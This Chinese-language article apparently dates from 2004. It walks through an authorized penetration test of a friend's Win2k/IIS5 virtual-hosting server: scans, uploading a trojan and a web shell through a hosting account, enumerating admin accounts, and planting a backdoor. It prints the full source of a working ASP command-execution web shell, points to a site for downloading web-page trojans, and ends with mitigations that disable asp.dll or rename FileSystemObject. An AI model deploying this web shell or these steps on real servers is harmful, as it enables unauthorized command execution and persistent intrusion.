网络安全 频道

详述虚拟网站的权限突破及防范

一.事情的经过
就今天我还在网上忙着找些CIW安全培训教材的时候,我的一个网友突然传给我一个网址http://x.x.x.x.(被我马赛克了),告诉我他现在当上了网管,网站服务内容是为企业,为个人提供收费型的虚拟空间服务,他叫我帮他检测检测他网站的安全性。我一看是一家很不错的服务空间提供网站,就满口答应了他。我想他本来就当过某黑客站点的站长,系统安全方面应该没什么大问题。
我首先进行了一些扫描port的活动,既然是朋友,又被授了合法检测权,就用不着使用SYN刺探方式,而且SYN准确性不太高。我运行了我第二个最喜欢的扫描器superscan(经过我重新配置,加入不少重要的服务port),然后扫描了一下,结果(如图1):
http://netadmin.77169.com/UploadFiles_9956/200406/20040618142142725.png
共开了10个端口,重要的有80,110,135,139,3389等等几个,可利用的服务不算多。从扫描的80信息显示是iis5.0,还开了一个win2k专有的远程桌面管理(port:3389),再加上端口的开放情况,现在能确定对方的系统一定是一台win2k+iis5.0,这是我比较熟悉的系统之一。
现在看来他没有对端口进行过滤,这是一个入侵者喜欢的开端。先从最基本的开始,看看能不能顺利与服务器建立空连接:
E:\>net use \\x.x.x.x\ipc$ "" /user:""
系统发生 53 错误。

找不到网络路径。
空链接漏洞被补上了,看来利用空链接枚举账号清单并尝试破解的想法要落空了,早就知道没这么容易。
下面再进行iis5.0的刺探吧,这个服务最复杂也最重要,所以winnt/2k的黑客很多研究都是基于这个服务的。先试试有没有idq溢出漏洞,选了好几种idq溢出点都没成功,看来网管要么删了idq映射要么给服务器打了sp3补丁,如果是打了这个补丁那么iis就不会有什么漏洞了。另一个对sp2补丁可能有效的asp溢出也试了,也没用,其它的如printer溢出就不用试了,因为那个溢出只应用到sp1。
下面进行iis扫描,我用的是xfocus安全小组开发的x-scan1.3扫描器,实践证明这个扫描器的漏洞资料库比较全面,它能扫出流光4.7扫不出的很多重要的cgi和iis等漏洞(包括打上sp2补丁包并没进行严格配置的win2k)。我把x-scan对win2k的扫描项都选上了,等了几分钟扫描终于完毕,生成检测报告,报告结果挺让我失望,没有一点问题,结合上面的扫描情况,我估计他很有可能给iis5.0打上了sp3补丁,我可不知道有什么漏洞可以突破打上最新补丁包的iis5.0,至少还没听说过打上sp3的iis5.0还有什么致命的漏洞。现在的分析结果是win2k+iis5.0+sp3。
其它方面就不太可能有漏洞了,比如登录上3389服务,看看有没有什么非系统自带的输入法,因为有些类型的输入法还是有帮助文件和URL的,比如有个旧版本的紫光输入法。
主页也没有什么漏洞。这时我朋友看我没有办法检测出漏洞入侵,非常得意,为自己的安全配置感到很放心。当从他口中得知的确是打上了win2k的最新补丁包sp3,我也放弃了继续分析下去,认为不会有什么明显漏洞了,也没有其它可利用的服务。接着他给了我开一个虚拟网站的账号,免费提供给我一个200Mb的服务空间,并且告诉我这个空间可以支持asp、php,并开放了所有权限给我(也就是说有脚本执行权)。哈,这回他得意忘形了吧。我照这个配置条件就可以拿到admin权限了。
我先用ftp 命令登录进去,的确是200Mb,完全免费,又开放所有脚本和权限,真爽。为了能更直观地表现过程,我下面全部使用CuteFTP图形界面软件xx作,下面是我上传文件的情况(见图2):
http://netadmin.77169.com/UploadFiles_9956/200406/20040618142152381.jpg
顺便查查我的xhacker空间目录在什么位置,用这条命令dir/s d:\xhacker
很快得出结果:

驱动器 D 中的卷没有标签。
卷的序列号是 F00B-626E
d:\web2\xhacker 的目录
2002-06-02 19:57 6,976 win.exe
1 个文件 6,976 字节
列出所有文件:
1 个文件 6,976 字节
0 个目录 24,849,289,216 可用字节
现在知道我主页空间在服务器的绝对路径了,看到win.exe了没?这就是我刚刚传上去的木马。现在把win.exe的路径记下来,下面要用到。
再顺便看看账号情况:
D:\>net user
\\ 的用户帐户
-------------------------------------------------------------------------------
Guest IUSR_INTERL-4VYGJ3RM IWAM_INTERL-4VYGJ3RM
secretboy TsInternetUser
命令运行完毕,但发生一个或多个错误。

根据经验看来账号权限被他们重新配置过,不然不会出现错误。这将意味着我不能在服务器本地用net命令创建账号了。看的出这方面还是下了功夫了,连administrator默认账号都改了名了。看来我没有先尝试破解是对的,破解的成功率实在太小了。
光使用temp.asp当后门可不够保险,我决定另外开个后门。接下来我删除了temp.asp,准备运行另一个win.exe木马。怎么运行它呢,了解unicode的人都知道,有了木马在服务器的绝对路径,并且木马所在的目录有脚本可执行权限,我们就能运行它了(abc.exe是我临时copy的一个cmd.exe)。见图4
http://netadmin.77169.com/UploadFiles_9956/200406/20040618142152300.jpg


的确安装了php,perl等。
再在看看服务器一些情况:
D:\>net user secretboy
用户名 secretboy
全名
注释 管理计算机(域)的内置帐户
用户的注释
国家(地区)代码 000 (系统默认值)
帐户启用 Yes
帐户到期 永不

上次设置密码 2002/6/2 上午 11:49
密码到期 永不
密码可更改 2002/6/2 上午 11:49
需要密码 Yes
用户可以更改密码 Yes

允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2002/6/2 下午 08:16

可允许的登录小时数 All

本地组会员 *Administrators
全局组成员 *None
命令成功完成。

看来administrator账号改为secretboy了。呵呵,我们可以把sam抓下来在本地机破解(我发在repair有备份),不过我觉得我朋友的密码肯定很复杂,这样可以考虑放个捕捉密码的木马上去。但是没有这个必要去做,既然是我朋友,怎么能这么做呢?
我玩了一会,就通知了他。告诉他服务器上的所有虚拟网站用户清单,而且我在他服务器上开了个后门,其端口是多少,怎么清除。他吓了一跳,赶快检查了一下,清了我的木马。然后他问了我是怎么入侵的,我告诉他是利用了虚拟空间的asp执行权限。呵呵,其实他不知道这个漏洞的原理是什么,也就不知道怎么防范它,这样我下次依然可以再进去,而且我如果记没错的话,不但是asp有此问题,php和perl语言都有相应的主页木马,在网上可以找到它们的木马程序。这里给出一份详细的主页木马下载网址:xhacker.xilubbs.com,共有5种类型的主页木马

 二.漏洞的检测

假设网管自己的iis5.0服务器里面开一个叫xhacker虚拟目录用来存放网页,支持asp。然后在xhacker虚拟空间放置我们刚才用的cmdasp.asp,cmdasp.asp在很多黑客网站都有的下载,在这公布一个cmd.asp网页代码:
<%@ Language=VBScript %>
<%

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

'' -- create the COM objects that we will be using -- ''
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

'' -- check for a command that we have posted -- ''
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

'' -- Use a poor man''s pipe ... a temp file -- ''
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>

<%
If (IsObject(oFile)) Then
'' -- Read the output from our command and remove the temp file -- ''
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
这样在IE运行这个asp就可以xx作服务器了。先dir c:\看看,如果看见了就说明有此漏洞,反之则没有。

三.漏洞的防范

现在我们来讨论一下怎么帮助网管防范这种漏洞。我分为两种情况分别讨论两种防范策略:
( 1 ) 我之所以能够跨越虚拟目录权限是因为上传上去的asp调用了FileSystemObject对象,从而实现了所有的命令xx作。所以,如果你确定你的网站不需要支持asp,就干脆删除asp。方法如下:
执行“internet服务管理员”———>web站点单击鼠标右键———>
“属性” ———>主目录———>配置———>把所有“asp.dll”文件存在的字段都删除,默认共有四个。这样你的iis就不能执行asp了,也就与asp服务漏洞绝缘了。
( 2 )以上的防范方法虽然又简单又安全,但对asp服务空间的提供商和asp的主页就很不合适了。我想了许多办法也参考了不少网上的资料,其中也有不少好的解决方案,但就是太复杂了。后来我发现有一种简单方法能非常好的解决这个问题:
我们只要禁止住别人调用FileSystemObject对象就可以了,对asp空间的用户来讲,也没有必要需要用到这个对象。我由此想到了注册表,是不是这个FileSystemObject对象就在注册表里?接着查找到了“HKET_CLASSES_ROOT\Scripting.FileSystemObject”键值,更改成为你定义的字符串,比如:
HKET_CLASSES_ROOT\Scripting.FileSystemObject520
这样不需要删除FileSystemObject对象又不影响asp程序的运行,而用户如果再运行那个cmd.asp木马的话,就会因为调用不到Scripting.FileSystemObject组件而无法执行命令了,同时也没有什么出错信息。但是对于有经验的入侵者就会知道这方面被网管做了防护了。
如果网管需要那个cmd.asp用来远程管理自己的站点怎么办?很简单,只要把asp代码中的
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
更改为:
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject520")
就可以调用了。
这样就只有网管才知道正确的Scripting.FileSystemObject520。同时我建议你也不要把这个对象的名字改的太简单,比如Scripting.FileSystemObject111什么的,
建议在原对象名字后面加一些无规律的字母,这样对方就猜不到了。你自己也别担心忘了这个对象的名字,因为在注册表里可以就可以看到它:)
关asp的漏洞利用就讲到这了,我相信以上这个入侵实例告诉了各位网管,也许你是下了功夫补住了许多流行的漏洞,黑客在一段时间内也没办法入侵你的服务器,但是你以后所开的服务可能潜伏着危险,有时甚至你自己在无意间也会造成新的漏洞。系统安全是不断变化着的,所以网管也要时刻注意,多注意漏洞的发布,多关注一些著名的网络安全网站。这样能在第一时间给自己的服务器打上补丁。我想我的技术还远远没到家,欢迎大家来信与我一起交流技术263admin@sina.com


http://netadmin.77169.com/HTML/20040618015800_2.html

0
相关文章